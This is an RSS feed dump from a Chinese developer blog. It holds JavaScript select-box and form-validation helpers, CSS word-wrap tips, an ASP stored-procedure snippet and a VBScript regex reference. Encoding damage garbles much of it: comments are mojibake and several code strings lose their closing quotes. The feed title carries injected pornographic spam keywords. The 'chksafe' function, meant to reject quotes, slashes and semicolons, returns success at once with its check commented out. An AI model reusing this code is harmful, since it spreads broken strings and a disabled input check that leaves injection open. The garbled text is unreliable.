??xml version="1.0" encoding="utf-8" standalone="yes"?>欧美日韩视频一区二区,人人超碰在线,激情综合色综合久久综合http://www.aygfsteel.com/jackywjj/category/2059.htmlTo follow the path: look to the master, follow the master, walk with the master, see through the master, become the master.zh-cnFri, 11 Jan 2008 07:59:28 GMTFri, 11 Jan 2008 07:59:28 GMT60js 操作select大全(?http://www.aygfsteel.com/jackywjj/articles/174391.htmljacky wujacky wuThu, 10 Jan 2008 10:30:00 GMThttp://www.aygfsteel.com/jackywjj/articles/174391.htmlhttp://www.aygfsteel.com/jackywjj/comments/174391.htmlhttp://www.aygfsteel.com/jackywjj/articles/174391.html#Feedback0http://www.aygfsteel.com/jackywjj/comments/commentRss/174391.htmlhttp://www.aygfsteel.com/jackywjj/services/trackbacks/174391.html
  1. 判断select选项?是否存在Value="paraValue"的Item
  2. 向select选项?加入一个Item
  3. 从select选项?删除一个Item
  4. 删除select中选中的项
  5. 修改select选项?value="paraValue"的text?paraText"
  6. 讄select中text="paraText"的第一个Item为选中
  7. 讄select中value="paraValue"的Item为选中
  8. 得到select的当前选中的value
  9. 得到select的当前选中的text
  10. 得到select的当前选中的Index
  11. 清空select的项
js 代码
  1. // 1.判断select选项?nbsp;是否存在Value="paraValue"的Item       
  2. function jsSelectIsExitItem(objSelect, objItemValue) {       
  3.     var isExit = false;       
  4.     for (var i = 0; i < objSelect.options.length; i++) {       
  5.         if (objSelect.options[i].value == objItemValue) {       
  6.             isExit = true;       
  7.             break;       
  8.         }       
  9.     }       
  10.     return isExit;       
  11. }        
  12.   
  13. // 2.向select选项?nbsp;加入一个Item       
  14. function jsAddItemToSelect(objSelect, objItemText, objItemValue) {       
  15.     //判断是否存在       
  16.     if (jsSelectIsExitItem(objSelect, objItemValue)) {       
  17.         alert("该Item的Value值已l存?);       
  18.     } else {       
  19.         var varItem = new Option(objItemText, objItemValue);     
  20.         objSelect.options.add(varItem);    
  21.         alert("成功加入");    
  22.     }       
  23. }       
  24.   
  25. // 3.从select选项?nbsp;删除一个Item       
  26. function jsRemoveItemFromSelect(objSelect, objItemValue) {       
  27.     //判断是否存在       
  28.     if (jsSelectIsExitItem(objSelect, objItemValue)) {       
  29.         for (var i = 0; i < objSelect.options.length; i++) {       
  30.             if (objSelect.options[i].value == objItemValue) {       
  31.                 objSelect.options.remove(i);       
  32.                 break;       
  33.             }       
  34.         }       
  35.         alert("成功删除");       
  36.     } else {       
  37.         alert("该select?nbsp;不存在该?);       
  38.     }       
  39. }   
  40.   
  41.   
  42. // 4.删除select中选中的项   
  43. function jsRemoveSelectedItemFromSelect(objSelect) {       
  44.     var length = objSelect.options.length - 1;   
  45.     for(var i = length; i >= 0; i--){   
  46.         if(objSelect[i].selected == true){   
  47.             objSelect.options[i] = null;   
  48.         }   
  49.     }   
  50. }     
  51.   
  52. // 5.修改select选项?nbsp;value="paraValue"的text?paraText"       
  53. function jsUpdateItemToSelect(objSelect, objItemText, objItemValue) {       
  54.     //判断是否存在       
  55.     if (jsSelectIsExitItem(objSelect, objItemValue)) {       
  56.         for (var i = 0; i < objSelect.options.length; i++) {       
  57.             if (objSelect.options[i].value == objItemValue) {       
  58.                 objSelect.options[i].text = objItemText;       
  59.                 break;       
  60.             }       
  61.         }       
  62.         alert("成功修改");       
  63.     } else {       
  64.         alert("该select?nbsp;不存在该?);       
  65.     }       
  66. }       
  67.   
  68. // 6.讄select中text="paraText"的第一个Item为选中       
  69. function jsSelectItemByValue(objSelect, objItemText) {           
  70.     //判断是否存在       
  71.     var isExit = false;       
  72.     for (var i = 0; i < objSelect.options.length; i++) {       
  73.         if (objSelect.options[i].text == objItemText) {       
  74.             objSelect.options[i].selected = true;       
  75.             isExit = true;       
  76.             break;       
  77.         }       
  78.     }             
  79.     //Show出结?nbsp;      
  80.     if (isExit) {       
  81.         alert("成功选中");       
  82.     } else {       
  83.         alert("该select?nbsp;不存在该?);       
  84.     }       
  85. }       
  86.   
  87. // 7.讄select中value="paraValue"的Item为选中   
  88. document.all.objSelect.value = objItemValue;   
  89.       
  90. // 8.得到select的当前选中的value   
  91. var currSelectValue = document.all.objSelect.value;   
  92.       
  93. // 9.得到select的当前选中的text   
  94. var currSelectText = document.all.objSelect.options[document.all.objSelect.selectedIndex].text;   
  95.       
  96. // 10.得到select的当前选中的Index   
  97. var currSelectIndex = document.all.objSelect.selectedIndex;   
  98.       
  99. // 11.清空select的项   
  100. document.all.objSelect.options.length = 0;  


jacky wu 2008-01-10 18:30 发表评论
]]>
js 几种常用的表单输入判?/title><link>http://www.aygfsteel.com/jackywjj/articles/68029.html</link><dc:creator>jacky wu</dc:creator><author>jacky wu</author><pubDate>Wed, 06 Sep 2006 06:52:00 GMT</pubDate><guid>http://www.aygfsteel.com/jackywjj/articles/68029.html</guid><wfw:comment>http://www.aygfsteel.com/jackywjj/comments/68029.html</wfw:comment><comments>http://www.aygfsteel.com/jackywjj/articles/68029.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/jackywjj/comments/commentRss/68029.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/jackywjj/services/trackbacks/68029.html</trackback:ping><description><![CDATA[ <p>//函数名:chksafe<br />//功能介绍Q检查是否含?'",'\\',"/"<br />//参数说明Q要查的字符?br />//q回|0Q是  1Q不?/p> <p>function chksafe(a)<br />{ <br /> return 1;<br />/* fibdn = new Array ("'" ,"\\", "?, ",", ";", "/");<br /> i=fibdn.length;<br /> j=a.length;<br /> for (ii=0;ii<i;ii++)<br /> { for (jj=0;jj<j;jj++)<br />  { temp1=a.charAt(jj);<br />   temp2=fibdn[ii];<br />   if (temp1==temp2)<br />   { return 0; }<br />  }<br /> }<br /> return 1;<br />*/ <br />} </p> <p>//函数名:chkspc<br />//功能介绍Q检查是否含有空?br />//参数说明Q要查的字符?br />//q回|0Q是  1Q不?/p> <p>function chkspc(a)<br />{<br /> var i=a.length;<br /> var j = 0;<br /> var k = 0;<br /> while (k<i)<br /> {<br />  if (a.charAt(k) != " ")<br />   j = j+1;<br />  k = k+1;<br /> }<br /> if (j==0)<br /> {<br />  return 0;<br /> }<br /> <br /> if (i!=j)<br /> { return 2; }<br /> else<br /> {<br />  return 1;<br /> }<br />}</p> <p>//函数名:chkemail<br />//功能介绍Q检查是否ؓEmail Address<br />//参数说明Q要查的字符?br />//q回|0Q不是?1Q是 </p> <p>function chkemail(a)<br />{ var i=a.length;<br /> var temp = a.indexOf(<a href="mailto:'@'">'@'</a>);<br /> var tempd = a.indexOf('.');<br /> if (temp > 1) {<br />  if ((i-temp) > 3){<br />   <br />    if ((i-tempd)>0){<br />     return 1;<br />    }<br />   <br />  }<br /> }<br /> return 0;<br />}//opt1 数     opt2   负数<br />//当opt2?时检查num是否是负?br />//当opt1?时检查num是否是小?br />//q回1是正的Q?是错误的<br />function chknbr(num,opt1,opt2)<br />{<br /> var i=num.length;<br /> var staus;<br />//staus用于记录.的个?br /> status=0;<br /> if ((opt2!=1) && (num.charAt(0)=='-'))<br /> {<br />  //alert("You have enter a invalid number.");<br />  return 0;<br /> <br /> }<br />//当最后一位ؓ.时出?br /> if (num.charAt(i-1)=='.')<br /> {<br />  //alert("You have enter a invalid number.");<br />  return 0;<br /> }</p> <p> for (j=0;j<i;j++)<br /> {<br />  if (num.charAt(j)=='.')<br />  {<br />   status++;<br />  }<br />  if (status>1) <br />  {<br />  //alert("You have enter a invalid number.");<br />  return 0;  <br />  }<br />  if (num.charAt(j)<'0' || num.charAt(j)>'9' )<br />  {<br />   if (((opt1==0) || (num.charAt(j)!='.')) && (j!=0)) <br />   {<br />    //alert("You have enter a invalid number.");<br />    return 0;<br />   }<br />  }<br /> }<br /> return 1;<br />}<br />//函数名:chkdate<br />//功能介绍Q检查是否ؓ日期<br />//参数说明Q要查的字符?br />//q回|0Q不是日期?1Q是日期</p> <p> </p> <p>function chkdate(datestr)<br />{<br /> var lthdatestr<br /> if (datestr != "")<br />  lthdatestr= datestr.length ;<br /> else<br />  lthdatestr=0;<br />  <br /> var tmpy="";<br /> var tmpm="";<br /> var tmpd="";<br /> //var datestr;<br /> var status;<br /> status=0;<br /> if ( lthdatestr== 0)<br />  return 0</p> <p> <br /> for (i=0;i<lthdatestr;i++)<br /> { if (datestr.charAt(i)== '-')<br />  {<br />   status++;<br />  }<br />  if (status>2)<br />  {<br />   //alert("Invalid format of date!");<br />   return 0;<br />  }<br />  if ((status==0) && (datestr.charAt(i)!='-'))<br />  {<br />   tmpy=tmpy+datestr.charAt(i)<br />  }<br />  if ((status==1) && (datestr.charAt(i)!='-'))<br />  {<br />   tmpm=tmpm+datestr.charAt(i)<br />  }<br />  if ((status==2) && (datestr.charAt(i)!='-'))<br />  {<br />   tmpd=tmpd+datestr.charAt(i)<br />  }</p> <p> }<br /> year=new String (tmpy);<br /> month=new String (tmpm);<br /> day=new String (tmpd)<br /> //tempdate= new String (year+month+day);<br /> //alert(tempdate);<br /> if ((tmpy.length!=4) || (tmpm.length>2) || (tmpd.length>2))<br /> {<br />  //alert("Invalid format of date!");<br />  return 0;<br /> }<br /> if (!((1<=month) && (12>=month) && (31>=day) && (1<=day)) )<br /> {<br />  //alert ("Invalid month or day!");<br />  return 0;<br /> }<br /> if (!((year % 4)==0) && (month==2) && (day==29))<br /> {<br />  //alert ("This is not a leap year!");<br />  return 0;<br /> }<br /> if ((month<=7) && ((month % 2)==0) && (day>=31))<br /> {<br />  //alert ("This month is a small month!");<br />  return 0;<br /> <br /> }<br /> if ((month>=8) && ((month % 2)==1) && (day>=31))<br /> {<br />  //alert ("This month is a small month!");<br />  return 0;<br /> }<br /> if ((month==2) && (day==30))<br /> {<br />  //alert("The Febryary never has this day!");<br />  return 0;<br /> }<br /> <br /> return 1;<br />}<br />//函数名:fucPWDchk<br />//功能介绍Q检查是否含有非数字或字?br />//参数说明Q要查的字符?br />//q回|0Q含?1Q全部ؓ数字或字?</p> <p> <br />function fucPWDchk(str)<br />{<br />  var strSource ="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";<br />  var ch;<br />  var i;<br />  var temp;<br />  <br />  for (i=0;i<=(str.length-1);i++)<br />  {<br />  <br />    ch = str.charAt(i);<br />    temp = strSource.indexOf(ch);<br />    if (temp==-1) <br />    {<br />     return 0;<br />    }<br />  }<br />  if (strSource.indexOf(ch)==-1)<br />  {<br />    return 0;<br />  }<br />  else<br />  {<br />    return 1;<br />  } <br />}</p> <p>function jtrim(str)<br />{     while (str.charAt(0)==" ")<br />          {str=str.substr(1);}      <br />     while (str.charAt(str.length-1)==" ")<br />         {str=str.substr(0,str.length-1);}<br />     return(str);<br />}</p> <p>//函数名:fucCheckNUM<br />//功能介绍Q检查是否ؓ数字<br />//参数说明Q要查的数字<br />//q回|1为是数字Q?Z是数?/p> <p>function fucCheckNUM(NUM)<br />{<br /> var i,j,strTemp;<br /> strTemp="0123456789";<br /> if ( NUM.length== 0)<br />  return 0<br /> for (i=0;i<NUM.length;i++)<br /> {<br />  j=strTemp.indexOf(NUM.charAt(i)); <br />  if (j==-1)<br />  {<br />  //说明有字W不是数?br />   return 0;<br />  }<br /> }<br /> //说明是数?br /> return 1;<br />}<br />//函数名:fucCheckTEL<br />//功能介绍Q检查是否ؓ电话L<br />//参数说明Q要查的字符?br />//q回|1为是合法Q?Z合法</p> <p>function fucCheckTEL(TEL)<br />{<br /> var i,j,strTemp;<br /> strTemp="0123456789-()# ";<br /> for (i=0;i<TEL.length;i++)<br /> {<br />  j=strTemp.indexOf(TEL.charAt(i)); <br />  if (j==-1)<br />  {<br />  //说明有字W不合法<br />   return 0;<br />  }<br /> }<br /> //说明合法<br /> return 1;<br />}</p> <p>//函数名:fucCheckLength<br />//功能介绍Q检查字W串的长?br />//参数说明Q要查的字符?br />//q回|长度?/p> <p>function fucCheckLength(strTemp)<br />{<br /> var i,sum;<br /> sum=0;<br /> for(i=0;i<strTemp.length;i++)<br /> {<br />  if ((strTemp.charCodeAt(i)>=0) && (strTemp.charCodeAt(i)<=255))<br />   sum=sum+1;<br />  else<br />   sum=sum+2;<br /> }<br /> return sum;<br />}<br /></p> <img src ="http://www.aygfsteel.com/jackywjj/aggbug/68029.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/jackywjj/" target="_blank">jacky wu</a> 2006-09-06 14:52 <a href="http://www.aygfsteel.com/jackywjj/articles/68029.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CSS|页制作时实现自动换行的技?/title><link>http://www.aygfsteel.com/jackywjj/articles/68028.html</link><dc:creator>jacky wu</dc:creator><author>jacky wu</author><pubDate>Wed, 06 Sep 2006 06:51:00 GMT</pubDate><guid>http://www.aygfsteel.com/jackywjj/articles/68028.html</guid><wfw:comment>http://www.aygfsteel.com/jackywjj/comments/68028.html</wfw:comment><comments>http://www.aygfsteel.com/jackywjj/articles/68028.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/jackywjj/comments/commentRss/68028.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/jackywjj/services/trackbacks/68028.html</trackback:ping><description><![CDATA[ <p>大家都知道连l的英文或数字能是容器被撑大Q不能根据容器的大小自动换行Q下面是 CSS如何他们换行的ҎQ?</p> <p>对于div </p> <p>1.QIE览器)white-space:normal; word-break:break-all;q里前者是遵@标准?/p> <p>#wrap{white-space:normal; width:200px; }<br />或?br />#wrap{word-break:break-all;width:200px;}<br /><div id="wrap">ddd1111111111111111111111111111111111</div></p> <p>效果Q可以实现换?</p> <p>2.QFirefox览器)white-space:normal; word-break:break-all;overflow:hidden;同样的FF下也没有很好的实现方法,只能隐藏或者加滚动条,当然不加滚动条效果更好! </p> <p>#wrap{white-space:normal; width:200px; overflow:auto;}<br />或?br />#wrap{word-break:break-all;width:200px; overflow:auto; }<br /><div id="wrap">ddd1111111111111111111111111111111111111111</div><br />效果Q容器正常,内容隐藏 </p> <p>对于table </p> <p>1. (IE览?使用样式table-layout:fixedQ?</p> <p><style><br />.tb{}{table-layout:fixed}<br /></style><br /><table class="tbl" width="80"><br /><tr><br /><td>abcdefghigklmnopqrstuvwxyz 1234567890<br /></td><br /></tr><br /></table><br />效果Q可以换?</p> <p>2.(IE览?使用样式table-layout:fixed与nowrap </p> <p><style><br />.tb {}{table-layout:fixed}<br /></style><br /><table class="tb" width="80"><br /><tr><br /><td nowrap>abcdefghigklmnopqrstuvwxyz 1234567890<br /></td><br /></tr><br /></table><br />效果Q可以换?</p> <p>3. (IE览?在用百分比固定td大小情况下用样式table-layout:fixed与nowrap </p> <p><style><br />.tb{}{table-layout:fixed}<br /></style><br /><table class="tb" width=80><br /><tr><br /><td width=25% nowrap>abcdefghigklmnopqrstuvwxyz 1234567890<br /></td><br /><td nowrap>abcdefghigklmnopqrstuvwxyz 1234567890<br /></td><br /></tr><br /></table><br />效果Q两个td均正常换?</p> <p>3.(Firefox览?在用百分比固定td大小情况下用样式table-layout:fixed与nowrap,q且使用div </p> <p><style><br />.tb {}{table-layout:fixed}<br />.td {}{overflow:hidden;}<br /></style><br /><table class=tb width=80><br /><tr><br /><td width=25% class=td nowrap><br /><div>abcdefghigklmnopqrstuvwxyz 1234567890</div><br /></td><br /><td class=td nowrap><br /><div>abcdefghigklmnopqrstuvwxyz 1234567890</div><br /></td><br /></tr><br /></table><br />q里单元格宽度一定要用百分比定义 </p> <p>效果Q正常显C,但不能换行(注:在FF下还没有能容器内容换行的好ҎQ只能用overflow多出的内容隐藏Q以免媄响整体效果)</p> <img src ="http://www.aygfsteel.com/jackywjj/aggbug/68028.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/jackywjj/" target="_blank">jacky wu</a> 2006-09-06 14:51 <a href="http://www.aygfsteel.com/jackywjj/articles/68028.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>代码调存储过E?/title><link>http://www.aygfsteel.com/jackywjj/articles/67304.html</link><dc:creator>jacky wu</dc:creator><author>jacky wu</author><pubDate>Sat, 02 Sep 2006 12:13:00 GMT</pubDate><guid>http://www.aygfsteel.com/jackywjj/articles/67304.html</guid><wfw:comment>http://www.aygfsteel.com/jackywjj/comments/67304.html</wfw:comment><comments>http://www.aygfsteel.com/jackywjj/articles/67304.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/jackywjj/comments/commentRss/67304.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/jackywjj/services/trackbacks/67304.html</trackback:ping><description><![CDATA[ <p>'Z个command对象<br />set comm = server.CreateObject ("adodb.command")<br />'建立q接<br />comm.ActiveConnection = conn<br />'讄command调用cd是存储过E?(adCmdSPStoredProc = 4)<br />comm.CommandType = 4<br />'定义command 对象调用名称 <br />comm.CommandText = "P_advkind"<br />'定义输入参数<br />set CommPa1 = comm.CreateParameter ("参数1" , adVarChar , adParamInput , 10 , "参数1")<br />set CommPa2 = comm.CreateParameter ("参数2" , VarChar ,adParamInput ,20 , 参数2)<br />set CommPa3 = comm.CreateParameter ("参数3" ,varChar ,adParamInput ,100 , 参数3)<br />set CommPa4 = comm.CreateParameter ("参数4" ,vrChar ,adParamInput ,1000 , 参数4)</p> <p>AddPadd 4</p> <p>'q行存储q程<br />comm.Execute</p> <p>'清空对象<br />Set comm.ActiveConnection = nothing<br />Set comm = nothing</p> <p>Response.Redirect "/success.asp?zho="&server.URLEncode ("d成功Q?)</p> <p>CloseDB</p> <p>sub AddPadd(num)<br /> dim i<br /> for i=1 to num<br />  execute "comm.Parameters.Append CommPa"&i<br />    next<br />end sub<br />%></p> <img src ="http://www.aygfsteel.com/jackywjj/aggbug/67304.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/jackywjj/" target="_blank">jacky wu</a> 2006-09-02 20:13 <a href="http://www.aygfsteel.com/jackywjj/articles/67304.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>VBS正则表达式语?/title><link>http://www.aygfsteel.com/jackywjj/articles/67303.html</link><dc:creator>jacky wu</dc:creator><author>jacky wu</author><pubDate>Sat, 02 Sep 2006 12:12:00 GMT</pubDate><guid>http://www.aygfsteel.com/jackywjj/articles/67303.html</guid><wfw:comment>http://www.aygfsteel.com/jackywjj/comments/67303.html</wfw:comment><comments>http://www.aygfsteel.com/jackywjj/articles/67303.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/jackywjj/comments/commentRss/67303.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/jackywjj/services/trackbacks/67303.html</trackback:ping><description><![CDATA[ <p>正则表达式语?/p> <p>一个正则表辑ּ是由普通字W(例如字符 a ?zQ以及特D字W(UCؓ元字W)l成的文字模式。该模式描述在查找文字主体时待匹配的一个或多个字符丌Ӏ正则表辑ּ作ؓ一个模板,某个字W模式与所搜烦的字W串q行匚w?/p> <p>q里有一些可能会遇到的正则表辑ּCZQ?/p> <p>Visual Basic VBscript 匚w <br />scripting Edition </p> <p>/^\[ \t]*$/ "^\[ \t]*$" 匚w一个空白行?</p> <p>/\d{2}-\d{5}/ "\d{2}-\d{5}" 验证一个IDL是否׃?位字Q一<br />个连字符以及一?位数字组成?/p> <p>/<(.*)>.*<\/\1>/ "<(.*)>.*<\/\1>" 匚w一?HTML 标记?</p> <p> <br />下表是元字符及其在正则表辑ּ上下文中的行为的一个完整列表:</p> <p>字符 描述 </p> <p>\ 下一个字W标Cؓ一个特D字W、或一个原义字W、或一??br />向引用、或一个八q制转义W。例如,'n' 匚w字符 "n"?\n' <br />匚w一个换行符。序?'\\' 匚w "\" ?"\(" 则匹?"("?</p> <p>^ 匚w输入字符串的开始位|。如果设|了 RegExp 对象?<br />Multiline 属性,^ 也匹?'\n' ?'\r' 之后的位|?</p> <p>$ 匚w输入字符串的l束位置。如果设|了 RegExp 对象?<br />Multiline 属性,$ 也匹?'\n' ?'\r' 之前的位|?</p> <p>* 匚w前面的子表达式零ơ或多次。例如,zo* 能匹?"z" 以及<br />"zoo"?* {h于{0,}?</p> <p>+ 匚w前面的子表达式一ơ或多次。例如,'zo+' 能匹?"zo" ?br />?"zoo"Q但不能匚w "z"? {h?{1,}?</p> <p>? 匚w前面的子表达式零ơ或一ơ。例如,"do(es)?" 可以匚w<br />"do" ?"does" 中的"do" ? {h?{0,1}?</p> <p>{n} n 是一个非负整数。匹配确定的 n ơ。例如,'o{2}' 不能匚w<br />"Bob" 中的 'o'Q但是能匚w "food" 中的两个 o?</p> <p>{n,} n 是一个非负整数。至匹配n ơ。例如,'o{2,}' 不能匚w <br />"Bob" 中的 'o'Q但能匹?"foooood" 中的所?o?o{1,}' <br />{h?'o+'?o{0,}' 则等价于 'o*'?</p> <p>{n,m} m ?n 均ؓ非负整数Q其中n <= m。最匹?n ơ且最多匹<br />?m ơ。刘Q?"o{1,3}" 匹?"fooooood" 中的前三个o?br />'o{0,1}'{h?o?'。请注意在逗号和两个数之间不能有空?/p> <p>? 当该字符紧跟在Q何一个其他限制符 (*, +, ?, {n}, {n,},<br />{n,m}) 后面Ӟ匚w模式是非贪婪的。非贪婪模式可能少?<br />匚w所搜烦的字W串Q而默认的贪婪模式则尽可能多的匚w所?br />索的字符丌Ӏ例如,对于字符?"oooo"Q?o+?' 匹配单?<br />"o"Q?'o+' 匹配所?'o'?</p> <p>. 匚w?"\n" 之外的Q何单个字W。要匚w包括 '\n' 在内的Q<br />何字W,请用象 '[.\n]' 的模式?</p> <p>(pattern) 匚wpattern q获取这一匚w。所获取的匹配可以从产生?<br />Matches 集合得到Q在VBscript 中?SubMatches 集合Q在<br />Visual Basic scripting Edition 中则使用 $0?9 属性。要<br />匚w圆括号字W,请?'\(' ?'\)'?/p> <p>(?:pattern) 匚w pattern 但不获取匚wl果Q也是说这是一个非获取?br />配,不进行存储供以后使用。这在?"? 字符 (|) 来组?br />一个模式的各个部分是很有用。例如, 'industr(?:y|ies) ?br />是一个比 'industry|industries' 更简略的表达式?/p> <p>(?=pattern) 正向预查Q在M匚w pattern 的字W串开始处匚w查找字符<br />丌Ӏ这是一个非获取匚wQ也是_该匹配不需要获取供以后<br />使用。例如,'Windows (?=95|98|NT|2000)' 能匹?Windows <br />2000"中的"Windows"Q但不能匚w"Windows3 .1"?Windows"?br />预查不消耗字W,也就是说Q在一个匹配发生后Q在最后一ơ匹<br />配之后立卛_始下一ơ匹配的搜烦Q而不是从包含预查的字W之<br />后开始?</p> <p>(?!pattern) 负向预查Q在M不匹配Negative lookahead matches the <br />search string at any point where a string not matching <br />pattern 的字W串开始处匚w查找字符丌Ӏ这是一个非获取?br />配,也就是说Q该匚w不需要获取供以后使用。例?Windows<br />(?!95|98|NT|2000)' 能匹?"Windows 3.1" 中的 "Windows"Q?br />但不能匹?"Windows 2000" 中的 "Windows"。预查不消耗字<br />W,也就是说Q在一个匹配发生后Q在最后一ơ匹配之后立卛_<br />始下一ơ匹配的搜烦Q而不是从包含预查的字W之后开?</p> <p>x|y 匚w x ?y。例如,'z|food' 能匹?"z" ?"food"?(z|f)<br />ood' 则匹?"zood" ?"food"?</p> <p>[xyz] 字符集合。匹配所包含的Q意一个字W。例如, '[abc]' 可以<br />匚w "plain" 中的 'a'?/p> <p>[^xyz] 负值字W集合。匹配未包含的Q意字W。例如, '[^abc]' 可以<br />匚w "plain" 中的'p'?</p> <p>[a-z] 字符范围。匹配指定范围内的Q意字W。例如,'[a-z]' 可以?br />?'a' ?'z' 范围内的L写字母字符?</p> <p>[^a-z] 负值字W范围。匹配Q何不在指定范围内的Q意字W。例如, <br />'[^a-z]' 可以匚wM不在 'a' ?'z' 范围内的L字符?/p> <p>\b 匚w一个单词边界,也就是指单词和空格间的位|。例如, <br />'er\b' 可以匚w"never" 中的 'er'Q但不能匚w "verb" ?br />?'er'?</p> <p>\B 匚w非单词边界?er\B' 能匹?"verb" 中的 'er'Q但不能?br />?"never" 中的 'er'?/p> <p>\cx 匚w由x指明的控制字W。例如, \cM 匚w一?Control-M ?br />回RW?x 的值必Mؓ A-Z ?a-z 之一。否则,?c 视ؓ一<br />个原义的 'c' 字符?</p> <p>\d 匚w一个数字字W。等价于 [0-9]?</p> <p>\D 匚w一个非数字字符。等价于 [^0-9]?</p> <p>\f 匚w一个换늬。等价于 \x0c ?\cL?</p> <p>\n 匚w一个换行符。等价于 \x0a ?\cJ?</p> <p>\r 匚w一个回车符。等价于 \x0d ?\cM?</p> <p>\s 匚wMI白字符Q包括空根{制表符、换늬{等。等价于 <br />[ \f\n\r\t\v]?</p> <p>\S 匚wM非空白字W。等价于 [^ \f\n\r\t\v]?</p> <p>\t 匚w一个制表符。等价于 \x09 ?\cI?</p> <p>\v 匚w一个垂直制表符。等价于 \x0b ?\cK?</p> <p>\w 匚w包括下划U的M单词字符。等价于'[A-Za-z0-9_]'?</p> <p>\W 匚wM非单词字W。等价于 '[^A-Za-z0-9_]'?/p> <p>\xn 匚w nQ其?n 为十六进制{义倹{十六进制{义值必Mؓ?br />定的两个数字ѝ例如, '\x41' 匚w "A"?\x041' 则等?br />?'\x04' & "1"。正则表辑ּ中可以?ASCII ~码?</p> <p>\num 匚w numQ其中num是一个正整数。对所获取的匹配的引用?br />例如Q?(.)\1' 匚w两个q箋的相同字W?</p> <p>\n 标识一个八q制转义值或一个后向引用。如?\n 之前臛_ n <br />个获取的子表辑ּQ则 n 为后向引用。否则,如果 n 为八q制<br />数字 (0-7)Q则 n Z个八q制转义倹{?</p> <p>\nm 标识一个八q制转义值或一个后向引用。如?\nm 之前臛_?br />is preceded by at least nm 个获取得子表辑ּQ则 nm 为后<br />向引用。如?\nm 之前臛_?n 个获取,?n Z个后跟文<br />?m 的后向引用。如果前面的条g都不满Q若 n ?m 均ؓ<br />八进制数?(0-7)Q则 \nm 匹配八q制转义?nm?</p> <p>\nml 如果 n 为八q制数字 (0-3)Q且 m ?l 均ؓ八进制数?(0-<br />7)Q则匚w八进制{义?nml?</p> <p>\un 匚w nQ其?n 是一个用四个十六q制数字表示的Unicode?br />W。例如, \u00A9 匚w版权W号 (?)?</p> <p> <br />优先权顺?/p> <p>在构造正则表辑ּ之后Q就可以象数学表辑ּ一h求|也就是说Q可以从左至叛_ƈ按照一个优先权序来求倹{?</p> <p>下表从最高优先到最低优先列出各种正则表达式操作符的优先权序Q?/p> <p>操作W?描述 </p> <p>\ 转义W?</p> <p>(), (?:), (?=), [] 圆括号和Ҏ?</p> <p>*, +, ?, {n}, {n,}, {n,m} 限定W?</p> <p>^, $, \anymetacharacter 位置和顺?</p> <p>| “或”操?</p> <p> </p> <p>Ҏ字符</p> <p>有不元字符在试囑֯其进行匹配时需要进行特D的处理。要匚wq些Ҏ字符Q必首先将q些字符转义Q也是在前面用一个反斜杠 (\)。下表给Zq些Ҏ字符及其含义Q?/p> <p>Ҏ字符 说明 </p> <p>$ 匚w输入字符串的l尾位置。如果设|了 RegExp 对象?Multiline<br />属性,?$ 也匹?'\n' ?'\r'。要匚w $ 字符本nQ请使用 \$?/p> <p>( ) 标记一个子表达式的开始和l束位置。子表达式可以获取供以后使用?br />要匹配这些字W,请?\( ?\)?</p> <p>* 匚w前面的子表达式零ơ或多次。要匚w * 字符Q请使用 \*?</p> <p>+ 匚w前面的子表达式一ơ或多次。要匚w + 字符Q请使用 \+?</p> <p>. 匚w除换行符 \n之外的Q何单字符。要匚w .Q请使用 \?</p> <p>标记一个中括号表达式的开始。要匚w [Q请使用 \[?</p> <p>? 匚w前面的子表达式零ơ或一ơ,或指明一个非贪婪限定W。要匚w ? <br />字符Q请使用 \??</p> <p>\ 下一个字W标Cؓ或特D字W、或原义字符、或后向引用、或八进?br />转义W。例如, 'n' 匚w字符 'n'?\n' 匚w换行W。序?'\\' ?br />?"\"Q?'\(' 则匹?"("?</p> <p>^ 匚w输入字符串的开始位|,除非在方括号表达式中使用Q此时它表示<br />不接受该字符集合。要匚w ^ 字符本nQ请使用 \^?</p> <p>{ 标记限定W表辑ּ的开始。要匚w {Q请使用 \{?</p> <p>| 指明两项之间的一个选择。要匚w |Q请使用 \|?</p> <p> </p> <p>非打印字W?/p> <p>有不很有用的非打印字符Q偶必M用。下表显CZ用来表示q些非打印字W的转义序列Q?/p> <p>字符 含义 </p> <p>\cx 匚w由x指明的控制字W。例如, \cM 匚w一?Control-M 或回车符?<br />x 的值必Mؓ A-Z ?a-z 之一。否则,?c 视ؓ一个原义的 'c' ?<br />W?</p> <p>\f 匚w一个换늬。等价于 \x0c ?\cL?</p> <p>\n 匚w一个换行符。等价于 \x0a ?\cJ?</p> <p>\r 匚w一个回车符。等价于 \x0d ?\cM?</p> <p>\s 匚wMI白字符Q包括空根{制表符、换늬{等。等价于 <br />[\f\n\r\t\v]?</p> <p>\S 匚wM非空白字W。等价于 [^ \f\n\r\t\v]?</p> <p>\t 匚w一个制表符。等价于 \x09 ?\cI?</p> <p>\v 匚w一个垂直制表符。等价于 \x0b ?\cK?</p> <p> </p> <p>字符匚w</p> <p>句点 (.) 匚w一个字W串中Q何单个的打印或非打印字符Q除了换行符 (\n) 之外。下面的 Visual Basic scripting Edition 正则表达式可以匹?'aac'?abc'?acc'?adc'如此{等Q同样也可以匚w 'a1c'?a2c'、a-c'以及 a#c'Q?</p> <p>/a.c/</p> <p>{h?VBscript 正则表达式ؓQ?/p> <p>"a.c"</p> <p>如果试图匚w一个包含文件名的字W串Q其中句?(.) 是输入字W串的一部分Q则可以在正则表辑ּ中的句点前面加上一个反斜杠 (\) 字符来实现这一要求。D例来_下面?Visual Basic scripting Edition 正则表达式就能匹?'filename.ext'Q?/p> 